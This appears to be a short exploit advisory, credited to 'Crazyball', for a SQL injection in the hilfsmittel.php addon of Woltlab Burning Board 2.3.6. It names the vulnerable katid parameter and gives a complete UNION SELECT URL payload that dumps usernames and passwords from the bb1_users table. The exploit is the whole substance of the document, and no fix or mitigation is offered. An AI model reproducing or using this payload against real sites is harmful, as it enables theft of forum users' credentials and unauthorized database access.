Woltlab Burning Board 2.3.6 SQL Injection

`#####################################################################################  
  
> Woltlab Burning Board 2.3.6 Addon (hilfsmittel.php) SQL Injection Vulnerability <  
  
#####################################################################################  
  
[+] Autor: Crazyball  
[+] Vulnerabilities [ SQL Injection ]  
[+] Page: http://www.euweb.at/  
[+] Language: [ PHP ]  
[+] Version: Hilfsmitteldatenbank 1.0  
[+] Date: n/a  
[+] Vendor: http://www.woltlab.com/de/  
  
##########################################################################################  
  
[+] Vulnerability  
  
hilfsmittel.php?action=read&katid=  
  
  
[+] Exploitable  
  
http://[host]/[path]/hilfsmittel.php?action=read&katid=5'/**/UNION/**/SELECT/**/1,2,concat(username,0x3a,password),4,5,6,7,8,9,10/**/FROM/**/bb1_users/*  
  
`